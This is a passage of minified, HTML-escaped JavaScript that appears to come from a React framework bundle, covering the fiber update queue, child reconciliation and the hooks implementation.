ni(){if(Ji!==null){var B=Ji;Ji=null,De(B)}Ma()}function Ma(){if(!Pn&amp;&amp;xi!==null){Pn=!0;var B=0;try{var N=xi;aa(99,(function(){for(;B&lt;N.length;B++){var F=N[B];do F=F(!0);while(F!==null)}})),xi=null}catch(F){throw xi!==null&amp;&amp;(xi=xi.slice(B+1)),he(zt,ni),F}finally{Pn=!1}}}var Xa=3;function es(B,N,F){return 1073741821-(1+((1073741821-B+N/10)/(F/=10)|0))*F}var Ua=typeof Object.is==&quot;function&quot;?Object.is:function(B,N){return B===N&amp;&amp;(B!==0||1/B==1/N)||B!=B&amp;&amp;N!=N},pr=Object.prototype.hasOwnProperty;function Hs(B,N){if(Ua(B,N))return!0;if(typeof B!=&quot;object&quot;||B===null||typeof N!=&quot;object&quot;||N===null)return!1;var F=Object.keys(B),te=Object.keys(N);if(F.length!==te.length)return!1;for(te=0;te&lt;F.length;te++)if(!pr.call(N,F[te])||!Ua(B[F[te]],N[F[te]]))return!1;return!0}function wi(B,N){if(B&amp;&amp;B.defaultProps)for(var F in N=r({},N),B=B.defaultProps)N[F]===void 0&amp;&amp;(N[F]=B[F]);return N}var za={current:null},$a=null,qs=null,to=null;function Ha(){to=qs=$a=null}function oi(B,N){var F=B.type._context;ir(za,F._currentValue2),F._currentValue2=N}function Bs(B){var N=za.current;Lt(za),(B=B.type._context)._currentValue2=N}function Sa(B,N){for(;B!==null;){var F=B.alternate;if(B.childExpirationTime&lt;N)B.childExpirationTime=N,F!==null&amp;&amp;F.childExpirationTime&lt;N&amp;&amp;(F.childExpirationTime=N);else{if(!(F!==null&amp;&amp;F.childExpirationTime&lt;N))break;F.childExpirationTime=N}B=B.return}}function me(B,N){$a=B,to=qs=null,(B=B.dependencies)!==null&amp;&amp;B.firstContext!==null&amp;&amp;(B.expirationTime&gt;=N&amp;&amp;(Ho=!0),B.firstContext=null)}function pe(B,N){if(to!==B&amp;&amp;N!==!1&amp;&amp;N!==0)if(typeof N==&quot;number&quot;&amp;&amp;N!==1073741823||(to=B,N=1073741823),N={context:B,observedBits:N,next:null},qs===null){if($a===null)throw Error(s(308));qs=N,$a.dependencies={expirationTime:0,firstContext:N,responders:null}}else qs=qs.next=N;return B._currentValue2}var Qe=!1;function $e(B){return{baseState:B,firstUpdate:null,lastUpdate:null,firstCapturedUpdate:null,lastCapturedUpdate:null,firstEffect:null,lastEffect:null,firstCapturedEffect:null,lastCapturedEffect:null}}function nt(B){return{baseState:B.baseState,firstUpdate:B.firstUpdate,lastUpdate:B.lastUpdate,firstCapturedUpdate:null,lastCapturedUpdate:null,firstEffect:null,lastEffect:null,firstCapturedEffect:null,lastCapturedEffect:null}}function vt(B,N){return{expirationTime:B,suspenseConfig:N,tag:0,payload:null,callback:null,next:null,nextEffect:null}}function Mt(B,N){B.lastUpdate===null?B.firstUpdate=B.lastUpdate=N:(B.lastUpdate.next=N,B.lastUpdate=N)}function Ot(B,N){var F=B.alternate;if(F===null){var te=B.updateQueue,oe=null;te===null&amp;&amp;(te=B.updateQueue=$e(B.memoizedState))}else te=B.updateQueue,oe=F.updateQueue,te===null?oe===null?(te=B.updateQueue=$e(B.memoizedState),oe=F.updateQueue=$e(F.memoizedState)):te=B.updateQueue=nt(oe):oe===null&amp;&amp;(oe=F.updateQueue=nt(te));oe===null||te===oe?Mt(te,N):te.lastUpdate===null||oe.lastUpdate===null?(Mt(te,N),Mt(oe,N)):(Mt(te,N),oe.lastUpdate=N)}function ur(B,N){var F=B.updateQueue;(F=F===null?B.updateQueue=$e(B.memoizedState):Gt(B,F)).lastCapturedUpdate===null?F.firstCapturedUpdate=F.lastCapturedUpdate=N:(F.lastCapturedUpdate.next=N,F.lastCapturedUpdate=N)}function Gt(B,N){var F=B.alternate;return F!==null&amp;&amp;N===F.updateQueue&amp;&amp;(N=B.updateQueue=nt(N)),N}function wr(B,N,F,te,oe,ye){switch(F.tag){case 1:return typeof(B=F.payload)==&quot;function&quot;?B.call(ye,te,oe):B;case 3:B.effectTag=-4097&amp;B.effectTag|64;case 0:if((oe=typeof(B=F.payload)==&quot;function&quot;?B.call(ye,te,oe):B)==null)break;return r({},te,oe);case 2:Qe=!0}return te}function Rr(B,N,F,te,oe){Qe=!1;for(var ye=(N=Gt(B,N)).baseState,Fe=null,bt=0,Rt=N.firstUpdate,ar=ye;Rt!==null;){var Pr=Rt.expirationTime;Pr&lt;oe?(Fe===null&amp;&amp;(Fe=Rt,ye=ar),bt&lt;Pr&amp;&amp;(bt=Pr)):(b0(Pr,Rt.suspenseConfig),ar=wr(B,0,Rt,ar,F,te),Rt.callback!==null&amp;&amp;(B.effectTag|=32,Rt.nextEffect=null,N.lastEffect===null?N.firstEffect=N.lastEffect=Rt:(N.lastEffect.nextEffect=Rt,N.lastEffect=Rt))),Rt=Rt.next}for(Pr=null,Rt=N.firstCapturedUpdate;Rt!==null;){var Vi=Rt.expirationTime;Vi&lt;oe?(Pr===null&amp;&amp;(Pr=Rt,Fe===null&amp;&amp;(ye=ar)),bt&lt;Vi&amp;&amp;(bt=Vi)):(ar=wr(B,0,Rt,ar,F,te),Rt.callback!==null&amp;&amp;(B.effectTag|=32,Rt.nextEffect=null,N.lastCapturedEffect===null?N.firstCapturedEffect=N.lastCapturedEffect=Rt:(N.lastCapturedEffect.nextEffect=Rt,N.lastCapturedEffect=Rt))),Rt=Rt.next}Fe===null&amp;&amp;(N.lastUpdate=null),Pr===null?N.lastCapturedUpdate=null:B.effectTag|=32,Fe===null&amp;&amp;Pr===null&amp;&amp;(ye=ar),N.baseState=ye,N.firstUpdate=Fe,N.firstCapturedUpdate=Pr,Nu(bt),B.expirationTime=bt,B.memoizedState=ar}function fn(B,N,F){N.firstCapturedUpdate!==null&amp;&amp;(N.lastUpdate!==null&amp;&amp;(N.lastUpdate.next=N.firstCapturedUpdate,N.lastUpdate=N.lastCapturedUpdate),N.firstCapturedUpdate=N.lastCapturedUpdate=null),Ei(N.firstEffect,F),N.firstEffect=N.lastEffect=null,Ei(N.firstCapturedEffect,F),N.firstCapturedEffect=N.lastCapturedEffect=null}function Ei(B,N){for(;B!==null;){var F=B.callback;if(F!==null){B.callback=null;var te=N;if(typeof F!=&quot;function&quot;)throw Error(s(191,F));F.call(te)}B=B.nextEffect}}var mn=o.ReactCurrentBatchConfig,Kr=new n.Component().refs;function xa(B,N,F,te){F=(F=F(te,N=B.memoizedState))==null?N:r({},N,F),B.memoizedState=F,(te=B.updateQueue)!==null&amp;&amp;B.expirationTime===0&amp;&amp;(te.baseState=F)}var ro={isMounted:function(B){return!!(B=B._reactInternalFiber)&amp;&amp;T(B)===B},enqueueSetState:function(B,N,F){B=B._reactInternalFiber;var te=Ds(),oe=mn.suspense;(oe=vt(te=Ol(te,B,oe),oe)).payload=N,F!=null&amp;&amp;(oe.callback=F),Ot(B,oe),Ko(B,te)},enqueueReplaceState:function(B,N,F){B=B._reactInternalFiber;var te=Ds(),oe=mn.suspense;(oe=vt(te=Ol(te,B,oe),oe)).tag=1,oe.payload=N,F!=null&amp;&amp;(oe.callback=F),Ot(B,oe),Ko(B,te)},enqueueForceUpdate:function(B,N){B=B._reactInternalFiber;var F=Ds(),te=mn.suspense;(te=vt(F=Ol(F,B,te),te)).tag=2,N!=null&amp;&amp;(te.callback=N),Ot(B,te),Ko(B,F)}};function ts(B,N,F,te,oe,ye,Fe){return typeof(B=B.stateNode).shouldComponentUpdate==&quot;function&quot;?B.shouldComponentUpdate(te,ye,Fe):!(N.prototype&amp;&amp;N.prototype.isPureReactComponent&amp;&amp;Hs(F,te)&amp;&amp;Hs(oe,ye))}function Dl(B,N,F){var te=!1,oe=He,ye=N.contextType;return typeof ye==&quot;object&quot;&amp;&amp;ye!==null?ye=pe(ye):(oe=ae(N)?rt:ce.current,ye=(te=(te=N.contextTypes)!=null)?ie(B,oe):He),N=new N(F,ye),B.memoizedState=N.state!==null&amp;&amp;N.state!==void 0?N.state:null,N.updater=ro,B.stateNode=N,N._reactInternalFiber=B,te&amp;&amp;((B=B.stateNode).__reactInternalMemoizedUnmaskedChildContext=oe,B.__reactInternalMemoizedMaskedChildContext=ye),N}function Uo(B,N,F,te){B=N.state,typeof N.componentWillReceiveProps==&quot;function&quot;&amp;&amp;N.componentWillReceiveProps(F,te),typeof N.UNSAFE_componentWillReceiveProps==&quot;function&quot;&amp;&amp;N.UNSAFE_componentWillReceiveProps(F,te),N.state!==B&amp;&amp;ro.enqueueReplaceState(N,N.state,null)}function zo(B,N,F,te){var oe=B.stateNode;oe.props=F,oe.state=B.memoizedState,oe.refs=Kr;var ye=N.contextType;typeof ye==&quot;object&quot;&amp;&amp;ye!==null?oe.context=pe(ye):(ye=ae(N)?rt:ce.current,oe.context=ie(B,ye)),(ye=B.updateQueue)!==null&amp;&amp;(Rr(B,ye,F,oe,te),oe.state=B.memoizedState),typeof(ye=N.getDerivedStateFromProps)==&quot;function&quot;&amp;&amp;(xa(B,N,ye,F),oe.state=B.memoizedState),typeof N.getDerivedStateFromProps==&quot;function&quot;||typeof oe.getSnapshotBeforeUpdate==&quot;function&quot;||typeof oe.UNSAFE_componentWillMount!=&quot;function&quot;&amp;&amp;typeof oe.componentWillMount!=&quot;function&quot;||(N=oe.state,typeof oe.componentWillMount==&quot;function&quot;&amp;&amp;oe.componentWillMount(),typeof oe.UNSAFE_componentWillMount==&quot;function&quot;&amp;&amp;oe.UNSAFE_componentWillMount(),N!==oe.state&amp;&amp;ro.enqueueReplaceState(oe,oe.state,null),(ye=B.updateQueue)!==null&amp;&amp;(Rr(B,ye,F,oe,te),oe.state=B.memoizedState)),typeof oe.componentDidMount==&quot;function&quot;&amp;&amp;(B.effectTag|=4)}var Ao=Array.isArray;function Gs(B,N,F){if((B=F.ref)!==null&amp;&amp;typeof B!=&quot;function&quot;&amp;&amp;typeof B!=&quot;object&quot;){if(F._owner){if(F=F._owner){if(F.tag!==1)throw Error(s(309));var te=F.stateNode}if(!te)throw Error(s(147,B));var oe=&quot;&quot;+B;return N!==null&amp;&amp;N.ref!==null&amp;&amp;typeof N.ref==&quot;function&quot;&amp;&amp;N.ref._stringRef===oe?N.ref:(N=function(ye){var Fe=te.refs;Fe===Kr&amp;&amp;(Fe=te.refs={}),ye===null?delete Fe[oe]:Fe[oe]=ye},N._stringRef=oe,N)}if(typeof B!=&quot;string&quot;)throw Error(s(284));if(!F._owner)throw Error(s(290,B))}return B}function rs(B,N){if(B.type!==&quot;textarea&quot;)throw Error(s(31,Object.prototype.toString.call(N)===&quot;[object Object]&quot;?&quot;object with keys {&quot;+Object.keys(N).join(&quot;, &quot;)+&quot;}&quot;:N,&quot;&quot;))}function Vs(B){function N(mt,ot){if(B){var Ct=mt.lastEffect;Ct!==null?(Ct.nextEffect=ot,mt.lastEffect=ot):mt.firstEffect=mt.lastEffect=ot,ot.nextEffect=null,ot.effectTag=8}}function F(mt,ot){if(!B)return null;for(;ot!==null;)N(mt,ot),ot=ot.sibling;return null}function te(mt,ot){for(mt=new Map;ot!==null;)ot.key!==null?mt.set(ot.key,ot):mt.set(ot.index,ot),ot=ot.sibling;return mt}function oe(mt,ot,Ct){return(mt=vl(mt,ot)).index=0,mt.sibling=null,mt}function ye(mt,ot,Ct){return mt.index=Ct,B?(Ct=mt.alternate)!==null?(Ct=Ct.index)&lt;ot?(mt.effectTag=2,ot):Ct:(mt.effectTag=2,ot):ot}function Fe(mt){return B&amp;&amp;mt.alternate===null&amp;&amp;(mt.effectTag=2),mt}function bt(mt,ot,Ct,Tr){return ot===null||ot.tag!==6?((ot=Su(Ct,mt.mode,Tr)).return=mt,ot):((ot=oe(ot,Ct)).return=mt,ot)}function Rt(mt,ot,Ct,Tr){return ot!==null&amp;&amp;ot.elementType===Ct.type?((Tr=oe(ot,Ct.props)).ref=Gs(mt,ot,Ct),Tr.return=mt,Tr):((Tr=Uc(Ct.type,Ct.key,Ct.props,null,mt.mode,Tr)).ref=Gs(mt,ot,Ct),Tr.return=mt,Tr)}function ar(mt,ot,Ct,Tr){return ot===null||ot.tag!==4||ot.stateNode.containerInfo!==Ct.containerInfo||ot.stateNode.implementation!==Ct.implementation?((ot=uc(Ct,mt.mode,Tr)).return=mt,ot):((ot=oe(ot,Ct.children||[])).return=mt,ot)}function Pr(mt,ot,Ct,Tr,Jr){return ot===null||ot.tag!==7?((ot=Zo(Ct,mt.mode,Tr,Jr)).return=mt,ot):((ot=oe(ot,Ct)).return=mt,ot)}function Vi(mt,ot,Ct){if(typeof ot==&quot;string&quot;||typeof ot==&quot;number&quot;)return(ot=Su(&quot;&quot;+ot,mt.mode,Ct)).return=mt,ot;if(typeof ot==&quot;object&quot;&amp;&amp;ot!==null){switch(ot.$$typeof){case c:return(Ct=Uc(ot.type,ot.key,ot.props,null,mt.mode,Ct)).ref=Gs(mt,null,ot),Ct.return=mt,Ct;case d:return(ot=uc(ot,mt.mode,Ct)).return=mt,ot}if(Ao(ot)||Q(ot))return(ot=Zo(ot,mt.mode,Ct,null)).return=mt,ot;rs(mt,ot)}return null}function ai(mt,ot,Ct,Tr){var Jr=ot!==null?ot.key:null;if(typeof Ct==&quot;string&quot;||typeof Ct==&quot;number&quot;)return Jr!==null?null:bt(mt,ot,&quot;&quot;+Ct,Tr);if(typeof Ct==&quot;object&quot;&amp;&amp;Ct!==null){switch(Ct.$$typeof){case c:return Ct.key===Jr?Ct.type===u?Pr(mt,ot,Ct.props.children,Tr,Jr):Rt(mt,ot,Ct,Tr):null;case d:return Ct.key===Jr?ar(mt,ot,Ct,Tr):null}if(Ao(Ct)||Q(Ct))return Jr!==null?null:Pr(mt,ot,Ct,Tr,null);rs(mt,Ct)}return null}function Xi(mt,ot,Ct,Tr,Jr){if(typeof Tr==&quot;string&quot;||typeof Tr==&quot;number&quot;)return bt(ot,mt=mt.get(Ct)||null,&quot;&quot;+Tr,Jr);if(typeof Tr==&quot;object&quot;&amp;&amp;Tr!==null){switch(Tr.$$typeof){case c:return mt=mt.get(Tr.key===null?Ct:Tr.key)||null,Tr.type===u?Pr(ot,mt,Tr.props.children,Jr,Tr.key):Rt(ot,mt,Tr,Jr);case d:return ar(ot,mt=mt.get(Tr.key===null?Ct:Tr.key)||null,Tr,Jr)}if(Ao(Tr)||Q(Tr))return Pr(ot,mt=mt.get(Ct)||null,Tr,Jr,null);rs(ot,Tr)}return null}function ys(mt,ot,Ct,Tr){for(var Jr=null,ci=null,Lr=ot,pn=ot=0,Bn=null;Lr!==null&amp;&amp;pn&lt;Ct.length;pn++){Lr.index&gt;pn?(Bn=Lr,Lr=null):Bn=Lr.sibling;var kn=ai(mt,Lr,Ct[pn],Tr);if(kn===null){Lr===null&amp;&amp;(Lr=Bn);break}B&amp;&amp;Lr&amp;&amp;kn.alternate===null&amp;&amp;N(mt,Lr),ot=ye(kn,ot,pn),ci===null?Jr=kn:ci.sibling=kn,ci=kn,Lr=Bn}if(pn===Ct.length)return F(mt,Lr),Jr;if(Lr===null){for(;pn&lt;Ct.length;pn++)(Lr=Vi(mt,Ct[pn],Tr))!==null&amp;&amp;(ot=ye(Lr,ot,pn),ci===null?Jr=Lr:ci.sibling=Lr,ci=Lr);return Jr}for(Lr=te(mt,Lr);pn&lt;Ct.length;pn++)(Bn=Xi(Lr,mt,pn,Ct[pn],Tr))!==null&amp;&amp;(B&amp;&amp;Bn.alternate!==null&amp;&amp;Lr.delete(Bn.key===null?pn:Bn.key),ot=ye(Bn,ot,pn),ci===null?Jr=Bn:ci.sibling=Bn,ci=Bn);return B&amp;&amp;Lr.forEach((function(zc){return N(mt,zc)})),Jr}function is(mt,ot,Ct,Tr){var Jr=Q(Ct);if(typeof Jr!=&quot;function&quot;)throw Error(s(150));if((Ct=Jr.call(Ct))==null)throw Error(s(151));for(var ci=Jr=null,Lr=ot,pn=ot=0,Bn=null,kn=Ct.next();Lr!==null&amp;&amp;!kn.done;pn++,kn=Ct.next()){Lr.index&gt;pn?(Bn=Lr,Lr=null):Bn=Lr.sibling;var zc=ai(mt,Lr,kn.value,Tr);if(zc===null){Lr===null&amp;&amp;(Lr=Bn);break}B&amp;&amp;Lr&amp;&amp;zc.alternate===null&amp;&amp;N(mt,Lr),ot=ye(zc,ot,pn),ci===null?Jr=zc:ci.sibling=zc,ci=zc,Lr=Bn}if(kn.done)return F(mt,Lr),Jr;if(Lr===null){for(;!kn.done;pn++,kn=Ct.next())(kn=Vi(mt,kn.value,Tr))!==null&amp;&amp;(ot=ye(kn,ot,pn),ci===null?Jr=kn:ci.sibling=kn,ci=kn);return Jr}for(Lr=te(mt,Lr);!kn.done;pn++,kn=Ct.next())(kn=Xi(Lr,mt,pn,kn.value,Tr))!==null&amp;&amp;(B&amp;&amp;kn.alternate!==null&amp;&amp;Lr.delete(kn.key===null?pn:kn.key),ot=ye(kn,ot,pn),ci===null?Jr=kn:ci.sibling=kn,ci=kn);return B&amp;&amp;Lr.forEach((function(dd){return N(mt,dd)})),Jr}return function(mt,ot,Ct,Tr){var Jr=typeof Ct==&quot;object&quot;&amp;&amp;Ct!==null&amp;&amp;Ct.type===u&amp;&amp;Ct.key===null;Jr&amp;&amp;(Ct=Ct.props.children);var ci=typeof Ct==&quot;object&quot;&amp;&amp;Ct!==null;if(ci)switch(Ct.$$typeof){case c:e:{for(ci=Ct.key,Jr=ot;Jr!==null;){if(Jr.key===ci){if(Jr.tag===7?Ct.type===u:Jr.elementType===Ct.type){F(mt,Jr.sibling),(ot=oe(Jr,Ct.type===u?Ct.props.children:Ct.props)).ref=Gs(mt,Jr,Ct),ot.return=mt,mt=ot;break e}F(mt,Jr);break}N(mt,Jr),Jr=Jr.sibling}Ct.type===u?((ot=Zo(Ct.props.children,mt.mode,Tr,Ct.key)).return=mt,mt=ot):((Tr=Uc(Ct.type,Ct.key,Ct.props,null,mt.mode,Tr)).ref=Gs(mt,ot,Ct),Tr.return=mt,mt=Tr)}return Fe(mt);case d:e:{for(Jr=Ct.key;ot!==null;){if(ot.key===Jr){if(ot.tag===4&amp;&amp;ot.stateNode.containerInfo===Ct.containerInfo&amp;&amp;ot.stateNode.implementation===Ct.implementation){F(mt,ot.sibling),(ot=oe(ot,Ct.children||[])).return=mt,mt=ot;break e}F(mt,ot);break}N(mt,ot),ot=ot.sibling}(ot=uc(Ct,mt.mode,Tr)).return=mt,mt=ot}return Fe(mt)}if(typeof Ct==&quot;string&quot;||typeof Ct==&quot;number&quot;)return Ct=&quot;&quot;+Ct,ot!==null&amp;&amp;ot.tag===6?(F(mt,ot.sibling),(ot=oe(ot,Ct)).return=mt,mt=ot):(F(mt,ot),(ot=Su(Ct,mt.mode,Tr)).return=mt,mt=ot),Fe(mt);if(Ao(Ct))return ys(mt,ot,Ct,Tr);if(Q(Ct))return is(mt,ot,Ct,Tr);if(ci&amp;&amp;rs(mt,Ct),Ct===void 0&amp;&amp;!Jr)switch(mt.tag){case 1:case 0:throw mt=mt.type,Error(s(152,mt.displayName||mt.name||&quot;Component&quot;))}return F(mt,ot)}}var ks=Vs(!0),zi=Vs(!1),xo={},va={current:xo},Tc={current:xo},ml={current:xo};function Ws(B){if(B===xo)throw Error(s(174));return B}function Au(B,N){ir(ml,N),ir(Tc,B),ir(va,xo),N=L(N),Lt(va),ir(va,N)}function Ba(B){Lt(va),Lt(Tc),Lt(ml)}function ec(B){var N=Ws(ml.current),F=Ws(va.current);F!==(N=X(F,B.type,N))&amp;&amp;(ir(Tc,B),ir(va,N))}function xu(B){Tc.current===B&amp;&amp;(Lt(va),Lt(Tc))}var $i={current:0};function vo(B){for(var N=B;N!==null;){if(N.tag===13){var F=N.memoizedState;if(F!==null&amp;&amp;((F=F.dehydrated)===null||Jt(F)||Bt(F)))return N}else if(N.tag===19&amp;&amp;N.memoizedProps.revealOrder!==void 0){if((64&amp;N.effectTag)!=0)return N}else if(N.child!==null){N.child.return=N,N=N.child;continue}if(N===B)break;for(;N.sibling===null;){if(N.return===null||N.return===B)return null;N=N.return}N.sibling.return=N.return,N=N.sibling}return null}function tc(B,N){return{responder:B,props:N}}var yo=o.ReactCurrentDispatcher,sa=o.ReactCurrentBatchConfig,$o=0,ms=null,ka=null,ps=null,qa=null,ya=null,_s=null,Ks=0,oa=null,Ni=0,pl=!1,ns=null,no=0;function li(){throw Error(s(321))}function Ys(B,N){if(N===null)return!1;for(var F=0;F&lt;N.length&amp;&amp;F&lt;B.length;F++)if(!Ua(B[F],N[F]))return!1;return!0}function zn(B,N,F,te,oe,ye){if($o=ye,ms=N,ps=B!==null?B.memoizedState:null,yo.current=ps===null?ed:Rl,N=F(te,oe),pl){do pl=!1,no+=1,ps=B!==null?B.memoizedState:null,_s=qa,oa=ya=ka=null,yo.current=Rl,N=F(te,oe);while(pl);ns=null,no=0}if(yo.current=lf,(B=ms).memoizedState=qa,B.expirationTime=Ks,B.updateQueue=oa,B.effectTag|=Ni,B=ka!==null&amp;&amp;ka.next!==null,$o=0,_s=ya=qa=ps=ka=ms=null,Ks=0,oa=null,Ni=0,B)throw Error(s(300));return N}function _a(){yo.current=lf,$o=0,_s=ya=qa=ps=ka=ms=null,Ks=0,oa=null,Ni=0,pl=!1,ns=null,no=0}function ba(){var B={memoizedState:null,baseState:null,queue:null,baseUpdate:null,next:null};return ya===null?qa=ya=B:ya=ya.next=B,ya}function gs(){if(_s!==null)_s=(ya=_s).next,ps=(ka=ps)!==null?ka.next:null;else{if(ps===null)throw Error(s(310));var B={memoizedState:(ka=ps).memoizedState,baseState:ka.baseState,queue:ka.queue,baseUpdate:ka.baseUpdate,next:null};ya=ya===null?qa=B:ya.next=B,ps=ka.next}return ya}function Tl(B,N){return typeof N==&quot;function&quot;?N(B):N}function vu(B){var N=gs(),F=N.queue;if(F===null)throw Error(s(311));if(F.lastRenderedReducer=B,0&lt;no){var te=F.dispatch;if(ns!==null){var oe=ns.get(F);if(oe!==void 0){ns.delete(F);var ye=N.memoizedState;do ye=B(ye,oe.action),oe=oe.next;while(oe!==null);return Ua(ye,N.memoizedState)||(Ho=!0),N.memoizedState=ye,N.baseUpdate===F.last&amp;&amp;(N.baseState=ye),F.lastRenderedState=ye,[ye,te]}}return[N.memoizedState,te]}te=F.last;var Fe=N.baseUpdate;if(ye=N.baseState,Fe!==null?(te!==null&amp;&amp;(te.next=null),te=Fe.next):te=te!==null?te.next:null,te!==null){var bt=oe=null,Rt=te,ar=!1;do{var Pr=Rt.expirationTime;Pr&lt;$o?(ar||(ar=!0,bt=Fe,oe=ye),Pr&gt;Ks&amp;&amp;Nu(Ks=Pr)):(b0(Pr,Rt.suspenseConfig),ye=Rt.eagerReducer===B?Rt.eagerState:B(ye,Rt.action)),Fe=Rt,Rt=Rt.next}while(Rt!==null&amp;&amp;Rt!==te);ar||(bt=Fe,oe=ye),Ua(ye,N.memoizedState)||(Ho=!0),N.memoizedState=ye,N.baseUpdate=bt,N.baseState=oe,F.lastRenderedState=ye}return[N.memoizedState,F.dispatch]}function Rc(B){var N=ba();return typeof B==&quot;function&quot;&amp;&amp;(B=B()),N.memoizedState=N.baseState=B,B=(B=N.queue={last:null,dispatch:null,lastRenderedReducer:Tl,lastRenderedState:B}).dispatch=fh.bind(null,ms,B),[N.memoizedState,B]}function sf(B){return vu(Tl)}function of(B,N,F,te){return B={tag:B,create:N,destroy:F,deps:te,next:null},oa===null?(oa={lastEffect:null}).lastEffect=B.next=B:(N=oa.lastEffect)===null?oa.lastEffect=B.next=B:(F=N.next,N.next=B,B.next=F,oa.lastEffect=B),B}function J0(B,N,F,te){var oe=ba();Ni|=B,oe.memoizedState=of(N,F,void 0,te===void 0?null:te)}function f0(B,N,F,te){var oe=gs();te=te===void 0?null:te;var ye=void 0;if(ka!==null){var Fe=ka.memoizedState;if(ye=Fe.destroy,te!==null&amp;&amp;Ys(te,Fe.deps))return void of(0,F,ye,te)}Ni|=B,oe.memoizedState=of(N,F,ye,te)}function As(B,N){return J0(516,192,B,N)}function Kg(B,N){return f0(516,192,B,N)}function Yg(B,N){return typeof N==&quot;function&quot;?(B=B(),N(B),function(){N(null)}):N!=null?(B=B(),N.current=B,function(){N.current=null}):void 0}function ip(){}function X0(B,N){return ba().memoizedState=[B,N===void 0?null:N],B}function Pc(B,N){var F=gs();N=N===void 0?null:N;var te=F.memoizedState;return te!==null&amp;&amp;N!==null&amp;&amp;Ys(N,te[1])?te[0]:(F.memoizedState=[B,N],B)}function fh(B,N,F){if(!(25&gt;no))throw Error(s(301));var te=B.alternate;if(B===ms||te!==null&amp;&amp;te===ms)if(pl=!0,B={expirationTime:$o,suspenseConfig:null,action:F,eagerReducer:null,eagerState:null,next:null},ns===null&amp;&amp;(ns=new Map),(F=ns.get(N))===void 0)ns.set(N,B);else{for(N=F;N.next!==null;)N=N.next;N.next=B}else{var oe=Ds(),ye=mn.suspense;ye={expirationTime:oe=Ol(oe,B,ye),suspenseConfig:ye,action:F,eagerReducer:null,eagerState:null,next:null};var Fe=N.last;if(Fe===null)ye.next=ye;else{var bt=Fe.next;bt!==null&amp;&amp;(ye.next=bt),Fe.next=ye}if(N.last=ye,B.expirationTime===0&amp;&amp;(te===null||te.expirationTime===0)&amp;&amp;(te=N.lastRenderedReducer)!==null)try{var Rt=N.lastRenderedState,ar=te(Rt,F);if(ye.eagerReducer=te,ye.eagerState=ar,Ua(ar,Rt))return}catch{}Ko(B,oe)}}var lf={readContext:pe,useCallback:li,useContext:li,useEffect:li,useImperativeHandle:li,useLayoutEffect:li,useMemo:li,useReducer:li,useRef:li,useState:li,useDebugValue:li,useResponder:li,useDeferredValue:li,useTransition:li},ed={readContext:pe,useCallback:X0,useContext:pe,useEffect:As,useImperativeHandle:function(B,N,F){return F=F!=null?F.concat([B]):null,J0(4,36,Yg.bind(null,N,B),F)},useLayoutEffect:function(B,N){return J0(4,36,B,N)},useMemo:function(B,N){var F=ba();return N=N===void 0?null:N,B=B(),F.memoizedState=[B,N],B},useReducer:function(B,N,F){var te=ba();return N=F!==void 0?F(N):N,te.memoizedState=te.baseState=N,B=(B=te.queue={last:null,dispatch:null,lastRenderedReducer:B,lastRenderedState:N}).dispatch=fh.bind(null,ms,B),[te.memoizedState,B]},useRef:function(B){return B={current:B},ba().memoizedState=B},useState:Rc,useDebugValue:ip,useResponder:tc,useDeferredValue:function(B,N){var F=Rc(B),te=F[0],oe=F[1];return As((function(){i.unstable_next((function(){var ye=sa.suspense;sa.suspense=N===void 0?null:N;try{oe(B)}finally{sa.suspense=ye}}))}),[B,N]),te},useTransition:function(B){var N=Rc(!1),F=N[0],te=N[1];return[X0((function(oe){te(!0),i.unstable_next((function(){var ye=sa.suspense;sa.suspense=B===void 0?null:B;try{te(!1),oe()}finally{sa.suspense=ye}}))}),[B,F]),F]}},Rl={readContext:pe,useCallback:Pc,useContext:pe,useEffect:Kg,useImperativeHandle:function(B,N,F){return F=F!=null?F.concat([B]):null,f0(4,36,Yg.bind(null,N,B),F)},useLayoutEffect:function(B,N){return f0(4,36,B,N)},useMemo:function(B,N){var F=gs();N=N===void 0?null:N;var te=F.memoizedState;return te!==null&amp;&amp;N!==null&amp;&amp;Ys(N,te[1])?te[0]:(B=B(),F.memoizedState=[B,N],B)},useReducer:vu,useRef:function(){return gs().memoizedState},useState:sf,useDebugValue:ip,useResponder:tc,useDeferredValue:function(B,N){var F=sf(),te=F[0],oe=F[1];return Kg((function(){i.unstable_next((function(){var ye=sa.suspense;sa.suspense=N===void 0?null:N;try{oe(B)}finally{sa.suspense=ye}}))}),[B,N]),te},useTransition:function(B){var N=sf(),F=N[0],te=N[1];return[Pc((function(oe){te(!0),i.unstable_next((function(){var ye=sa.suspense;sa.suspense=B===void 0?null:B;try{te(!1),oe()}finally{sa.suspense=ye}}))}),[B,F]),F]}},Zg=o.ReactCurrentOwner,Ho=!1;function qo(B,N,F,te){N.child=B===null?zi(N,null,F,te):ks(N,B.child,F,te)}function hh(B,N,F,te,oe){F=F.render;var ye=N.ref;return me(N,oe),te=zn(B,N,F,te,ye,oe),B===null||Ho?(N.effectTag|=1,qo(B,N,te,oe),N.child):(N.updateQueue=B.updateQueue,N.effectTag&amp;=-517,B.expirationTime&lt;=oe&amp;&amp;(B.expirationTime=0),Fl(B,N,oe))}function mh(B,N,F,te,oe,ye){if(B===null){var Fe=F.type;return typeof Fe!=&quot;function&quot;||E0(Fe)||Fe.defaultProps!==void 0||F.compare!==null||F.defaultProps!==void 0?((B=Uc(F.type,null,te,null,N.mode,ye)).ref=N.ref,B.return=N,N.child=B):(N.tag=15,N.type=Fe,ph(B,N,Fe,te,oe,ye))}return Fe=B.child,oe&lt;ye&amp;&amp;(oe=Fe.memoizedProps,(F=(F=F.compare)!==null?F:Hs)(oe,te)&amp;&amp;B.ref===N.ref)?Fl(B,N,ye):(N.effectTag|=1,(B=vl(Fe,te)).ref=N.ref,B.return=N,N.child=B)}function ph(B,N,F,te,oe,ye){return B!==null&amp;&amp;Hs(B.memoizedProps,te)&amp;&amp;B.ref===N.ref&amp;&amp;(Ho=!1,oe&lt;ye)?Fl(B,N,ye):Qc(B,N,F,te,ye)}function ap(B,N){var F=N.ref;(B===null&amp;&amp;F!==null||B!==null&amp;&amp;B.ref!==F)&amp;&amp;(N.effectTag|=128)}function Qc(B,N,F,te,oe){var ye=ae(F)?rt:ce.current;return ye=ie(N,ye),me(N,oe),F=zn(B,N,F,te,ye,oe),B===null||Ho?(N.effectTag|=1,qo(B,N,F,oe),N.child):(N.updateQueue=B.updateQueue,N.effectTag&amp;=-517,B.expirationTime&lt;=oe&amp;&amp;(B.expirationTime=0),Fl(B,N,oe))}function sp(B,N,F,te,oe){if(ae(F)){var ye=!0;H(N)}else 